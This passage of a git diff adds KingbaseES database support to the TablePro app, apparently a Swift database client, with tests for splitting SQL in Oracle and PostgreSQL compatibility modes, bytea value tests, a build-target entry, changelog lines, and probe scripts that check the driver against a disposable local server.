a/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift +++ b/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift @@ -10,7 +10,7 @@ import Testing struct TransactionEngineFamilyTests { @Test( "Every PostgreSQL-compatible engine reads the PostgreSQL rules", - arguments: ["PostgreSQL", "PGlite", "AlloyDB", "Citus", "Greenplum"] + arguments: ["PostgreSQL", "PGlite", "AlloyDB", "Citus", "Greenplum", "KingbaseES"] ) func postgresCompatibles(typeId: String) { #expect(TransactionEngineFamily.of(DatabaseType(rawValue: typeId)) == .postgres) diff --git a/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift b/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift new file mode 100644 index 0000000000..2caffa8b17 --- /dev/null +++ b/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift @@ -0,0 +1,112 @@ +// +// ImportServiceSessionGrammarTests.swift +// TableProTests +// +// A SQL file is split the way the connection's session lexes, so a KingbaseES cluster in Oracle mode gets a +// PL/SQL block whole and its `/` line is never sent. +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +private final class SessionGrammarDriver: PluginDriverStub, @unchecked Sendable { + let sessionLexicalState: PluginSessionLexicalState? + private let lock = NSLock() + private var executed: [String] = [] + + init(sessionLexicalState: PluginSessionLexicalState?) { + self.sessionLexicalState = sessionLexicalState + } + + var statements: [String] { + lock.withLock { executed } + } + + func execute(query: String) async throws -> PluginQueryResult { + lock.withLock { executed.append(query) } + return .empty + } +} + +/// Sends every statement the source reads, as the SQL import does. +private final class ForwardingImportPlugin: ImportFormatPlugin { + static let pluginName = "Forwarding Import" + static let pluginVersion = "1.0" + static let pluginDescription = "An import format that sends each statement its source reads" + static let formatId = "tablepro-tests-forwarding-import" + static let formatDisplayName = "Forwarding" + static let acceptedFileExtensions = ["sql"] + static let iconName = "doc" + static let requiresTargetTable = false + + required init() {} + + func performImport( + source: any PluginImportSource, + sink: any PluginImportDataSink, + progress: PluginImportProgress + ) async throws -> PluginImportResult { + var count = 0 + for try await (statement, line) in try await source.statements() { + try await sink.execute(statement: statement, line: line) + count += 1 + } + return PluginImportResult(executedStatements: count, executionTime: 0) + } +} + +private actor DiscardingHistory: QueryHistoryRecording { + func record(_ request: QueryHistoryRecordRequest) async -> Bool { true } +} + +@MainActor +struct ImportServiceSessionGrammarTests { + private static let file = "BEGIN x := 1; y := 2; END;\n/\nSELECT 2;\n" + + private func importFile(on driver: SessionGrammarDriver) async throws -> [String] { + let connection = TestFixtures.makeConnection(database: "app", type: .kingbasees) + var session = ConnectionSession( + connection: connection, + driver: PluginDriverAdapter(connection: connection, pluginDriver: driver) + ) + session.browseDatabase = "app" + session.status = .connected + DatabaseManager.shared.injectSession(session, for: connection.id) + defer { DatabaseManager.shared.removeSession(for: connection.id) } + + let formatId = "\(ForwardingImportPlugin.formatId)-\(UUID().uuidString)" + PluginManager.shared.importPlugins[formatId] = ForwardingImportPlugin() + defer { PluginManager.shared.importPlugins[formatId] = nil } + + let url = FileManager.default.temporaryDirectory + .appendingPathComponent("session-grammar-import-\(UUID().uuidString)") + .appendingPathExtension("sql") + try Data(Self.file.utf8).write(to: url) + defer { try? FileManager.default.removeItem(at: url) } + + let service = ImportService(connection: connection, historyRecorder: DiscardingHistory(), gate: AlwaysAllowGate()) + _ = try await service.importFile( + from: url, + formatId: formatId, + encoding: .utf8, + scope: DatabaseScope(connectionId: connection.id, database: "app", schema: nil) + ) + return driver.statements + } + + @Test("An Oracle-mode session gets a PL/SQL block whole, and the / line that ends it is not sent") + func oracleModeSessionKeepsTheBlockWhole() async throws { + let sent = try await importFile(on: SessionGrammarDriver(sessionLexicalState: TestGrammar.kingbaseESOracleSession)) + + #expect(sent == ["BEGIN x := 1; y := 2; END;", "SELECT 2"]) + } + + @Test("Without a session that says otherwise the file splits as PostgreSQL does") + func defaultGrammarSplitsAtEverySemicolon() async throws { + let sent = try await importFile(on: SessionGrammarDriver(sessionLexicalState: nil)) + + #expect(sent.first == "BEGIN x := 1") + } +} diff --git a/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift b/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift index 1d73d38f74..df0a3ef6c1 100644 --- a/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift +++ b/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift @@ -47,6 +47,7 @@ struct ExplainPlanFormatResolutionTests { @Test("A database type the app knows resolves a format even when the variant declares none") func fallsBackToCuratedDefault() { #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .pglite) == .postgresJson) + #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .kingbasees) == .postgresJson) #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .cloudflareD1) == .sqliteQueryPlan) #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .libsql) == .sqliteQueryPlan) #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .turso) == .sqliteQueryPlan) diff --git a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift index 0bced6ceb1..5eaefccf1a 100644 --- a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift @@ -142,6 +142,13 @@ struct CatalogChangeClassifierTests { #expect(CatalogChangeClassifier.effect(of: sql, databaseType: .postgresql) == .none) } + @Test("a block on a KingbaseES Oracle-mode session is read as a block, not as a transaction start") + func oracleModeBlockIsOpaque() { + let sql = "BEGIN staging_pkg.create_tables(1); END;" + let effect = CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle) + #expect(effect == .opaque) + } + @Test("a script reports the union of its statements") func scriptsUnionTheirStatements() { let effect = CatalogChangeClassifier.effect( diff --git a/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift b/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift index bd120a5f26..8cad388375 100644 --- a/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift @@ -238,6 +238,7 @@ struct QueryClassifierLexicalTests { (DatabaseType.snowflake, "SELECT SYSTEM$ABORT_SESSION(1)"), (DatabaseType.teradata, "SELECT SYSLIB.AbortSessions(1, 'u', 0, 'Y', 'Y')"), (DatabaseType.oracle, "SELECT orders_seq.NEXTVAL FROM DUAL"), + (DatabaseType.kingbasees, "SELECT orders_seq.NEXTVAL FROM DUAL"), (DatabaseType.sapHana, "SELECT MY_SEQ.NEXTVAL FROM DUMMY"), (DatabaseType.snowflake, "SELECT orders_seq.nextval"), (DatabaseType.mssql, "SELECT NEXT VALUE FOR dbo.orders_seq"), diff --git a/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift b/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift index 8606ac35d7..b7a26f93f9 100644 --- a/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/SQLFileParserPLSQLTests.swift @@ -34,6 +34,21 @@ struct SQLFileParserPLSQLTests { !example.script.contains("--") && !example.script.contains("/*") } + @Test("An Oracle-mode KingbaseES import ends a quoted routine body at its semicolon") + func kingbaseOracleModeQuotedBodies() async throws { + let script = """ + CREATE FUNCTION f() RETURNS integer LANGUAGE SQL AS E'SELECT 42'; + CREATE FUNCTION g() RETURNS integer AS $$ SELECT 1; $$ LANGUAGE sql; + CREATE FUNCTION h RETURN NUMBER AS "v" NUMBER := 1; BEGIN RETURN "v"; END; + / + SELECT E'it\\'s; here'; + SELECT 2; + """ + let statements = try await Self.parse(script, grammar: TestGrammar.kingbaseESOracle) + #expect(statements.count == 5) + #expect(statements.last == "SELECT 2") + } + @Test("An imported script splits like the same script in the editor", arguments: commentFreeCases) func importMatchesTheEditor(example: PLSQLScriptCase) async throws { #expect(try await Self.parse(example.script, grammar: TestGrammar.oracle) == example.statements) diff --git a/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift b/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift index 793ba35443..b8a2b9bd29 100644 --- a/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift +++ b/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift @@ -72,6 +72,15 @@ struct SQLScriptTextTests { #expect(Self.dameng.sendableStatements(text) == [text]) } + @Test("A KingbaseES Oracle-mode session sends a block whole, where the engine's default cuts it at each ;") + func sessionGrammarKeepsABlockWhole() { + let text = "BEGIN x := 1; y := 2; END;\n/\nSELECT 2;" + let session = SQLScriptText(databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle) + + #expect(session.sendableStatements(text) == ["BEGIN x := 1; y := 2; END;", "SELECT 2"]) + #expect(SQLScriptText(databaseType: .kingbasees).sendableStatements(text).first == "BEGIN x := 1") + } + @Test("Nothing but blanks sends nothing") func blankTextSendsNothing() { #expect(Self.oracle.sendableStatements(" \n ").isEmpty) diff --git a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift index e2556d9288..b5df30bfd0 100644 --- a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift +++ b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift @@ -633,4 +633,31 @@ struct SQLRowToStatementConverterTests { ) #expect(converter.generateUpdates(rows: plain([["a", "x"]])) == "UPDATE [Enterprise_App_Approved] SET [Shape] = N'x' WHERE [code] = N'a';") } + + @Test("KingbaseES copies binary INSERT and UPDATE values as bytea, including empty bytes") + func kingbaseBinaryStatements() throws { + let converter = try makeConverter( + tableName: "documents", columns: ["id", "payload"], + databaseType: .kingbasees, dialect: Self.postgresDialect + ) + for data in [Data(), Data([0x00, 0xFF])] { + let rows = plain([[.text("1"), .bytes(data)]]) + let hex = data.map { String(format: "%02X", $0) }.joined() + #expect(converter.generateInserts(rows: rows).contains("'\\x\(hex)'::bytea")) + #expect(converter.generateUpdates(rows: rows).contains("'\\x\(hex)'::bytea")) + } + } + + // X'..' is a bit-string literal, which a bytea column refuses. + @Test("PGlite copies binary values as bytea, not as a bit string") + func pgliteBinaryStatements() throws { + let converter = try makeConverter( + tableName: "documents", columns: ["id", "payload"], + databaseType: .pglite, dialect: Self.postgresDialect + ) + let rows = plain([[.text("1"), .bytes(Data([0xDE, 0xAD]))]]) + #expect(converter.generateInserts(rows: rows).contains("'\\xDEAD'::bytea")) + #expect(converter.generateUpdates(rows: rows).contains("\"payload\" = '\\xDEAD'::bytea")) + #expect(!converter.generateInserts(rows: rows).contains("X'DEAD'")) + } } diff --git a/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift b/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift index 44885110b8..3c5783a2dd 100644 --- a/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift +++ b/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift @@ -16,6 +16,7 @@ final class ScriptAnsweringDriver: DatabaseDriver, @unchecked Sendable { } let connection: DatabaseConnection + let sessionLexicalState: PluginSessionLexicalState? var status: ConnectionStatus = .connected var serverVersion: String? { nil } @@ -38,9 +39,11 @@ final class ScriptAnsweringDriver: DatabaseDriver, @unchecked Sendable { sendsBatchesWhole: Bool = true, transactionState: PluginSessionTransactionState = .idle, transactionStateAfterBatches: PluginSessionTransactionState? = nil, + sessionLexicalState: PluginSessionLexicalState? = nil, answer: @escaping @Sendable (String) -> QueryBatchResult = { _ in .empty } ) { self.connection = connection + self.sessionLexicalState = sessionLexicalState self.sendsBatchesWhole = sendsBatchesWhole self.transactionState = transactionState self.transactionStateAfterBatches = transactionStateAfterBatches diff --git a/apple/TableProTests/Helpers/TestGrammar.swift b/apple/TableProTests/Helpers/TestGrammar.swift index 1cfd3391ba..f537d2fc22 100644 --- a/apple/TableProTests/Helpers/TestGrammar.swift +++ b/apple/TableProTests/Helpers/TestGrammar.swift @@ -4,6 +4,7 @@ // @testable import TablePro +import TableProPluginKit import TableProSQLGrammar /// The grammar each engine family a test names is split with, taken from the app's own resolver so a test reads @@ -17,6 +18,18 @@ enum TestGrammar { static let sqlServer = DatabaseType.mssql.lexicalGrammar static let snowflake = DatabaseType.snowflake.lexicalGrammar static let standard = SQLLexicalGrammar.ansi + + /// What the KingbaseES driver reports for a cluster initialized in Oracle mode. + static let kingbaseESOracleSession = PluginSessionLexicalState( + determined: [ + .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers, + .backslashEscapesInSingleQuotes, + ], + enabled: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers] + ) + static let kingbaseESOracle = SQLLexicalResolver.readings( + for: .kingbasees, session: kingbaseESOracleSession + ).execution } /// A statement split with no engine named is standard SQL, which is what a test that does not care about an engine's diff --git a/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift b/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift index ad08c61e2a..0496512e5d 100644 --- a/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift +++ b/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift @@ -13,7 +13,7 @@ struct SQLDDLFallbackPolicyTests { @Test("Engines with SQL DDL keep the generated statement") func sqlEnginesFabricate() { for type in [ - DatabaseType.mysql, .postgresql, .sqlite, .mssql, .oracle, + DatabaseType.mysql, .postgresql, .kingbasees, .sqlite, .mssql, .oracle, .duckdb, .cassandra, .trino, .presto, .teradata, .clickhouse, .bigQuery, .sapHana, ] { #expect(SQLDDLFallbackPolicy.allowsGeneratedDDL(for: type), "\(type.rawValue) should fabricate") @@ -58,7 +58,7 @@ struct SQLDDLFallbackPolicyTests { } private static let fabricatingTypes: Set = [ - .mysql, .mariadb, .tidb, .databend, .oceanbase, .postgresql, .sqlite, .redshift, + .mysql, .mariadb, .tidb, .databend, .oceanbase, .postgresql, .kingbasees, .sqlite, .redshift, .cockroachdb, .pglite, .mssql, .oracle, .snowflake, .dameng, .clickhouse, .duckdb, .cassandra, .scylladb, .cloudflareD1, .cloudflareR2SQL, .bigQuery, .spanner, .libsql, .turso, .teradata, .trino, .presto, .sapHana, diff --git a/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift b/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift index ccc1787a90..94c7a1d481 100644 --- a/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift +++ b/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift @@ -45,6 +45,7 @@ struct ColumnDefaultVocabularyTests { func emptyStringOmittedOnOracleFamily() { #expect(!sqlValues(.oracle).contains("''")) #expect(!sqlValues(.dameng).contains("''")) + #expect(!sqlValues(.kingbasees).contains("''")) #expect(sqlValues(.mysql).contains("''")) #expect(sqlValues(.postgresql).contains("''")) } @@ -86,6 +87,8 @@ struct ColumnDefaultVocabularyTests { @Test("Engines that share a plugin still get their own vocabulary") func sharedPluginsDoNotShareVocabulary() { #expect(!sqlValues(.redshift).contains("gen_random_uuid()")) + #expect(!sqlValues(.kingbasees).contains("gen_random_uuid()")) + #expect(sqlValues(.kingbasees).contains("now()")) #expect(sqlValues(.cockroachdb).contains("unique_rowid()")) #expect(!sqlValues(.postgresql).contains("unique_rowid()")) #expect(sqlValues(.mysql) != sqlValues(.mariadb)) diff --git a/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift b/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift index 3f10ad021e..aa51ee2b08 100644 --- a/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift +++ b/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift @@ -81,6 +81,13 @@ struct ForeignKeyDialectTests { } } + // Measured on KingbaseES V9R1C10: Oracle mode keeps PostgreSQL's ON UPDATE grammar. + @Test("KingbaseES takes PostgreSQL's clause in both modes") + func kingbasees() { + #expect(ForeignKeyDialect.forType(.kingbasees) == ForeignKeyDialect.forType(.postgresql)) + #expect(ForeignKeyDialect.forType(.kingbasees).allowsOmittedReferencedColumns) + } + @Test("an engine nobody has checked keeps the full vocabulary") func unknownEngine() { let dialect = ForeignKeyDialect.forType(DatabaseType(rawValue: "SomeFuturePlugin")) diff --git a/apple/TableProTests/Models/Schema/IndexKeyListTests.swift b/apple/TableProTests/Models/Schema/IndexKeyListTests.swift index 6a381aad7f..d270733b9b 100644 --- a/apple/TableProTests/Models/Schema/IndexKeyListTests.swift +++ b/apple/TableProTests/Models/Schema/IndexKeyListTests.swift @@ -130,7 +130,7 @@ struct IndexKeyListTests { @Test("Engines that write an expression key take one; the rest take column names") func dialectPerEngine() { - for type in [DatabaseType.postgresql, .pglite, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb] { + for type in [DatabaseType.postgresql, .pglite, .kingbasees, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb] { #expect(IndexKeyDialect.forType(type) == IndexKeyDialect(takesPrefixLengths: false, takesExpressions: true)) } #expect(IndexKeyDialect.forType(.mysql) == IndexKeyDialect(takesPrefixLengths: true, takesExpressions: true)) diff --git a/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift b/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift new file mode 100644 index 0000000000..6075433376 --- /dev/null +++ b/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift @@ -0,0 +1,80 @@ +// +// SQLEditorSessionGrammarTests.swift +// TableProTests +// +// The editor's run controls split with the connection's session grammar, which is only known once the driver has +// connected, and a reconnect or a `SET` can change it while the editor stays open. +// + +import AppKit +import Foundation +import SwiftUI +@testable import TablePro +import TableProEditorKit +import TableProPluginKit +import TableProTestSupport +import TableProTextEngine +import Testing + +@MainActor +struct SQLEditorSessionGrammarTests { + private final class Model { + var text = "BEGIN\n x := 1;\n y := 2;\nEND;\n/\nSELECT 2;" + var cursorPositions: [CursorPosition] = [] + var ran: [String] = [] + } + + private func runStatementAtCaret(in editor: SQLEditorController, model: Model) -> String? { + let caret = (model.text as NSString).range(of: "y := 2").location + editor.textViewController.setCursorPositions([CursorPosition(range: NSRange(location: caret, length: 0))]) + editor.coordinator.runStatementAtCursorAndAdvance() + return model.ran.popLast() + } + + @Test("Run Statement takes the whole block once the session reports Oracle mode") + func runStatementFollowsTheSession() async throws { + let model = Model() + let connection = TestFixtures.makeConnection(database: "app", type: .kingbasees) + let editor = SQLEditorController(input: SQLEditorInput( + text: Binding(get: { model.text }, set: { model.text = $0 }), + cursorPositions: Binding(get: { model.cursorPositions }, set: { model.cursorPositions = $0 }), + databaseType: .kingbasees, + connectionId: connection.id, + onRunStatement: { sql, _ in + model.ran.append(sql) + return false + } + )) + defer { editor.teardown() } + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 600, height: 400), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + window.contentView = editor.textViewController.view + defer { window.orderOut(nil) } + let textView = try #require(editor.textViewController.textView) + try await waitUntil { + window.contentView?.layoutSubtreeIfNeeded() + return textView.window != nil + } + + #expect(runStatementAtCaret(in: editor, model: model) == "y := 2;") + + let driver = ScriptAnsweringDriver( + connection: connection, + sessionLexicalState: TestGrammar.kingbaseESOracleSession + ) + var session = ConnectionSession(connection: connection) + session.driver = driver + DatabaseManager.shared.injectSession(session, for: connection.id) + defer { DatabaseManager.shared.removeSession(for: connection.id) } + try await waitUntil { editor.coordinator.lexicalGrammar == TestGrammar.kingbaseESOracle } + + let block = try #require(runStatementAtCaret(in: editor, model: model)) + #expect(block.hasPrefix("BEGIN\n x := 1;\n y := 2;\nEND")) + #expect(!block.contains("/")) + } +} diff --git a/apple/changelog.d/3855.added.md b/apple/changelog.d/3855.added.md new file mode 100644 index 0000000000..90382f2fdf --- /dev/null +++ b/apple/changelog.d/3855.added.md @@ -0,0 +1 @@ +Connect to KingbaseES in PostgreSQL and Oracle compatibility modes with a downloadable driver. diff --git a/apple/changelog.d/3855.fixed.md b/apple/changelog.d/3855.fixed.md new file mode 100644 index 0000000000..ca1fee03d9 --- /dev/null +++ b/apple/changelog.d/3855.fixed.md @@ -0,0 +1 @@ +The "is not empty" filter found no rows on Oracle, and both empty filters failed on a CLOB column. diff --git a/apple/project.yml b/apple/project.yml index 3e4a737bbe..df769c7e51 100644 --- a/apple/project.yml +++ b/apple/project.yml @@ -1065,6 +1065,17 @@ targets: - package: swift-nio-ssl product: NIOSSL + KingbaseESDriverPlugin: + templates: [DriverPlugin, PostgreSQLLinkage] + templateAttributes: + folder: KingbaseESDriverPlugin + principalClass: KingbaseESPlugin + sources: + - path: Plugins/PostgreSQLDriverPlugin + excludes: + - Info.plist + - README.md + LibSQLDriverPlugin: templates: [DriverPlugin] templateAttributes: @@ -1285,6 +1296,7 @@ aggregateTargets: - FirebaseDriverPlugin - HanaDriver - KafkaDriverPlugin + - KingbaseESDriverPlugin - LibSQLDriverPlugin - MSSQLDriver - MongoDBDriver diff --git a/apple/scripts/probes/check-column-type-corpus.sh b/apple/scripts/probes/check-column-type-corpus.sh index 7f7eff47b7..52c5d4f82e 100755 --- a/apple/scripts/probes/check-column-type-corpus.sh +++ b/apple/scripts/probes/check-column-type-corpus.sh @@ -64,8 +64,8 @@ READY=() case "$ENGINE" in postgresql) FOLDER=PostgreSQLDriverPlugin CLASS=PostgreSQLPlugin C_MODULE=CLibPQ - PRODUCTS="TableProLogRedaction TableProPostgreSQLCore" - LINK="$ROOT/Libs/libpq.a $ROOT/Libs/libpgcommon.a $ROOT/Libs/libpgport.a -lssl.3 -lcrypto.3 -lz" + PRODUCTS="TableProCoreTypes TableProKerberos TableProLogRedaction TableProPostgreSQLCore TableProSQLVocabulary" + LINK="$ROOT/Libs/libpq.a $ROOT/Libs/libpgcommon.a $ROOT/Libs/libpgport.a -lssl.3 -lcrypto.3 -lz -framework GSS -lcom_err" IMAGE=postgres:17-alpine PORT_IN=5432 PORT=15467 USER_DEFAULT=postgres DATABASE_DEFAULT=postgres DOCKER_ENV=(-e "POSTGRES_PASSWORD=$PASSWORD_DEFAULT") READY=(pg_isready -h 127.0.0.1 -U postgres) diff --git a/apple/scripts/probes/check-kingbasees.sh b/apple/scripts/probes/check-kingbasees.sh new file mode 100755 index 0000000000..8594adadf8 --- /dev/null +++ b/apple/scripts/probes/check-kingbasees.sh @@ -0,0 +1,55 @@ +#!/usr/bin/env bash +# Build the actual registry driver and probe an existing, disposable KingbaseES server. +# TP_KINGBASE_{HOST,PORT,USER,PASSWORD,DATABASE} select the server. No server is started. +# TP_KINGBASE_BUILD_DIR preserves build artifacts; otherwise they are removed on exit. +set -euo pipefail +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +WORK="${TP_KINGBASE_BUILD_DIR:-}" +if [ -z "$WORK" ]; then + WORK="$(mktemp -d)" + trap 'rm -rf "$WORK"' EXIT +fi +mkdir -p "$WORK/Sources/Probe" +SOURCES="$WORK/Sources/Probe" +rm -f "$SOURCES"/*.swift "$WORK/CModule" +for folder in PostgreSQLDriverPlugin KingbaseESDriverPlugin; do + for source in "$ROOT/Plugins/$folder"/*.swift; do + ln -s "$source" "$SOURCES/${folder}_$(basename "$source")" + done +done +for shared in PluginConnectTimeout PluginQueryTimeout; do + ln -s "$ROOT/Plugins/Shared/$shared.swift" "$SOURCES/$shared.swift" +done +ln -s "$ROOT/scripts/probes/kingbasees-probe.swift" "$SOURCES/Probe.swift" +ln -s "$ROOT/Plugins/PostgreSQLDriverPlugin/CLibPQ" "$WORK/CModule" +cat > "$WORK/Package.swift" < "$WORK/build.log" 2>&1); then + tail -60 "$WORK/build.log" >&2 + exit 3 +fi +TZ=UTC "$WORK/.build/debug/Probe" diff --git a/apple/scripts/probes/kingbasees-probe.swift b/apple/scripts/probes/kingbasees-probe.swift new file mode 100644 index 0000000000..1e680a45e8 --- /dev/null +++ b/apple/scripts/probes/kingbasees-probe.swift @@ -0,0 +1,256 @@ +import Foundation +import TableProPluginKit +import TableProSQLGrammar + +@main +struct KingbaseESProbe { + var passed = 0 + var failed = 0 + + mutating func check(_ name: String, _ body: () async throws -> Bool) async { + do { + guard try await body() else { + failed += 1 + print("FAIL \(name): unexpected result") + return + } + passed += 1 + print("PASS \(name)") + } catch { + failed += 1 + print("FAIL \(name): \(error)") + } + } + + static func main() async { + var probe = Self() + await probe.run() + print("\(probe.passed) passed, \(probe.failed) failed") + exit(probe.failed == 0 ? 0 : 1) + } + + static func bigintMatches(driver: any PluginDatabaseDriver) async throws -> Bool { + let result = try await driver.executeUserQuery( + query: "SELECT $1::bigint AS imported_integer", rowCap: nil, + parameters: [.text("2147483648")] + ) + return result.rows == [[.text("2147483648")]] + } + + mutating func checkSession(driver: any PluginDatabaseDriver, mode: String?) async { + await check("session facts through protocol witness") { + let result = try await driver.execute(query: "SELECT current_setting('database_mode')") + let mode = result.rows.first?.first?.asText + print("KingbaseES mode=\(mode ?? "unknown"), version=\(driver.serverVersion ?? "unknown")") + guard let facts = driver.sessionLexicalState else { return false } + let oracleFeatures = KingbaseESCompatibilityMode.lexicalFeaturesItDecides + return facts.determined.isSuperset(of: oracleFeatures) + && facts.enabled.intersection(oracleFeatures) == (mode == "oracle" ? oracleFeatures : []) + } + await check("mode probe reads pg or oracle") { + let setting = try await driver.execute(query: KingbaseESCompatibilityMode.probeQuery).rows.first?.first?.asText + let expected: KingbaseESCompatibilityMode? = switch mode { + case "pg": .postgreSQL + case "oracle": .oracle + default: nil + } + return try KingbaseESCompatibilityMode(setting: setting) == expected + } + await check("mode-aware grammar splits and executes quoted semicolons") { + guard let facts = driver.sessionLexicalState else { return false } + let readings = SQLLexicalReadings.resolve( + databaseTypeId: "KingbaseES", declared: nil, + session: SQLSessionLexicalFacts( + determined: SQLLexicalGrammar(rawValue: facts.determined.rawValue), + enabled: SQLLexicalGrammar(rawValue: facts.enabled.rawValue) + ) + ) + let sql = mode == "oracle" + ? "SELECT q'[a;b]' AS value; SELECT $tag$c;d$tag$ AS value;" + : "SELECT $tag$a;b$tag$ AS value; SELECT $tag$c;d$tag$ AS value;" + let statements = SQLStatementScanner.executableStatements(in: sql, grammar: readings.execution) + guard statements.count == 2 else { return false } + for (index, statement) in statements.enumerated() { + let result = try await driver.execute(query: statement.sql) + guard result.rows.first?.first == .text(index == 0 ? "a;b" : "c;d") else { return false } + } + return true + } + } + + // Each column kind and the DESC index here lost its catalog spelling once Oracle mode read `''` as NULL. + mutating func checkKeyedTable(driver: any PluginDatabaseDriver, schema: String) async throws { + _ = try await driver.execute(query: "CREATE TABLE \(schema).keyed (id integer GENERATED ALWAYS AS IDENTITY PRIMARY KEY, s serial, n integer NOT NULL DEFAULT 7, title text, g integer GENERATED ALWAYS AS (n * 2) STORED)") + _ = try await driver.execute(query: "CREATE INDEX keyed_title_desc ON \(schema).keyed (title DESC NULLS LAST)") + _ = try await driver.execute(query: "INSERT INTO \(schema).keyed (title) VALUES ('a')") + await check("index keeps its DESC spelling") { + let indexes = try await driver.fetchIndexes(table: "keyed", schema: schema) + let spelling = indexes.first { $0.name == "keyed_title_desc" }?.ddlMethodAndKeys + print("Index spelling: \(spelling ?? "nil")") + return spelling?.contains("(title DESC NULLS LAST)") == true + } + await check("identity, default and generation expression") { + let columns = try await driver.fetchColumns(table: "keyed", schema: schema) + let byName = Dictionary(uniqueKeysWithValues: columns.map { ($0.name, $0) }) + return byName["id"]?.isIdentity == true && byName["n"]?.defaultValue == "7" + && byName["g"]?.isGenerated == true && byName["g"]?.generationExpression == "(n * 2)" + } + await check("table DDL keeps column defaults") { + let ddl = try await driver.fetchTableDDL(table: "keyed", schema: schema) + return ddl.contains("DEFAULT 7") && ddl.contains("DEFAULT nextval(") + && ddl.contains("GENERATED ALWAYS AS IDENTITY") + } + await check("column reorder rebuild runs and keeps keys and defaults") { + guard let plan = try await driver.generateColumnReorderPlan( + table: "keyed", schema: schema, columns: [], desiredOrder: ["title", "id", "s", "n", "g"] + ) else { return false } + _ = try await driver.execute(query: "SAVEPOINT reorder") + do { + for statement in plan.statements { _ = try await driver.execute(query: statement) } + _ = try await driver.execute(query: "INSERT INTO \(schema).keyed (title) VALUES ('b')") + let row = try await driver.execute(query: "SELECT id, s, n, g FROM \(schema).keyed WHERE title = 'b'") + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT reorder") + return row.rows == [[.text("2"), .text("2"), .text("7"), .text("14")]] + } catch { + _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT reorder") + throw error + } + } + } + + mutating func run() async { + let env = ProcessInfo.processInfo.environment + let database = env["TP_KINGBASE_DATABASE"] ?? "test" + let config = DriverConnectionConfig( + host: env["TP_KINGBASE_HOST"] ?? "127.0.0.1", + port: Int(env["TP_KINGBASE_PORT"] ?? "55432") ?? 55_432, + username: env["TP_KINGBASE_USER"] ?? "system", + password: env["TP_KINGBASE_PASSWORD"] ?? "", database: database + ) + let driver: any PluginDatabaseDriver = KingbaseESPlugin().createDriver(config: config) + defer { driver.disconnect() } + await check("no session lexical state before connect") { driver.sessionLexicalState == nil } + do { try await driver.connect() } catch { + failed += 1 + print("FAIL connect: \(error)") + return + } + let mode = try? await driver.execute(query: "SELECT current_setting('database_mode')").rows.first?.first?.asText + await checkSession(driver: driver, mode: mode) + await 